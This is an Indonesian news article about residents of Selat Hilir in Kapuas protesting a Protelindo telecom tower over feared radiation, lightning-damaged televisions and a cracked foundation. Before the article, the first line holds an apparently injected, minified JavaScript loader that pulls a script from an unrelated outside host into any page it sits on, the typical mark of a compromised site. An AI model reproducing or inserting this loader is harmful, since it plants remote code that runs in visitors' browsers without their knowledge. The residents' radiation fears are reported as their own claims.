(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tower BTS di Selat Hilir Dikeluhkan Warga Sekitar

KANALKALIMANTAN. COM, KUALA KAPUAS – Keberadaan menara Base Transceiver Station (BTS) bangunan tower milik PT Profesional Telekomunikasi Indonesia (Protelindo) di wilayah Kelurahan Selat Hilir, Kecamatan Selat Kabupaten Kapuas, mendapat protes warga.

Tower BTS tersebut, oleh warga setempat diminta untuk dihentikan pengoperasiannya karena diduga keberadaa tower dianggap dapat membahayakan warga sekitar.

Perwakilan warga, Fadillah mengatakan kepada Kanalkalimantan.com, warga yang termasuk dalam radius tower merasa keberatan dengan keberadaan bangunan BTS. Karena berdasarkan ketentuan dalam peraturan pemerintah dan HO termasuk dalam radius tower diduga terpapar radiasi.

Pernyataan keberatan warga sudah disampaikan melalui surat resmi kepada pimpinan PT Protelindo pusat di Jakarta, beserta tembusan kepada Pemerintah Kabupaten Kapuas dan Polres Kapuas.

“Surat sudah kami sampaikan seminggu yang lalu, namun hingga kini belum ada tanggapan dari para pihak yang disampaikan,” ujar Fadillah.

Adapun alasan disampaikan warga, beber Fadillah, pertama warga setempat selama ini sejak tower didirikan tahun 2009 sampai 2021, diperkirakan sudah 12, tidak ada mendapatkan perhatian dari pihak perusahaan terhadap hak-hak warga yang terdampak radiasi.

“Kami selaku warga selama ini tidak ada mendapatkan jaminan kesehatan, jaminan keselamatan jiwa, jaminan ganti rugi barang, dan jaminan ganti rugi kompensasi,” katanya.

Alasan yang kedua, warga khawatirhal-hal tidak diinginkan terjadi, karena keberadaan bangunan tower dapat mengancam keselamatan warga sekitar.

“Kondisi tower tidak terawat dengan baik, bahkan sudah ada bagian cor beton pondasi tiang tower yang rusak,” ungkapnya.

Meskipun menara sudah dipasang alat pengaman anti petir, tetapi tetap saja sambaran petir pada menara mengakibatkan barang elektronik milik warga rusak. “Komponen TV terbakar dan sudah ada delapan unit TV warga terbakar,” kata Fadillah.

“Pihak perusahaan yang mempunyai hak tanggung jawab dalam hal ini segera menanggapi, mengabulkan permintaan kami selaku warga terdampak, agar pihak PT Protelindo segera membongkar menara BTS Tower miliknya,” pintanya.

Sementara, Ketua RT 011, Yunita Lawina membenarkan, bangunan tower milik PT Protelindo bisa membahayakan warga sekitar, dengan kondisi sebagian tempat tidak terpelihara, tidak adanya sosialisasi kepada warga sekitar tower itu.

“Saya Ketua RT 011 bersama warga membuat surat pencabutan hak, atas bangunan tower tersebut,” tegas Yunita.

Lanjut Yunita, selain itu, radiasi tower juga menyebabkan sinyal, barang elektronik mereka diduga terganggu.

“Warga sekitar radius meminta bangunan tower itu segera dibongkar secepatnya,” tegas Yunita.

Sebelumnya sudah sempat dua kali dilakukan pertemuan antara warga dan pihak perusahaan di kantor Kelurahan Selat hilir Kecamatan Selat Kabupaten Kapuas, namun tuntutan warga terdampak soal kompensasi belum ada hasil kesepakatan.

Sementara itu, pihak PT Protelindo wilayah Kabupaten Kapuas Kalimantan Tengah, Hamid, melalui telepon selulernm dan juga melalui pesan WhatsApp belum ada memberikan penjelasan terkait kondisi tersebut. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk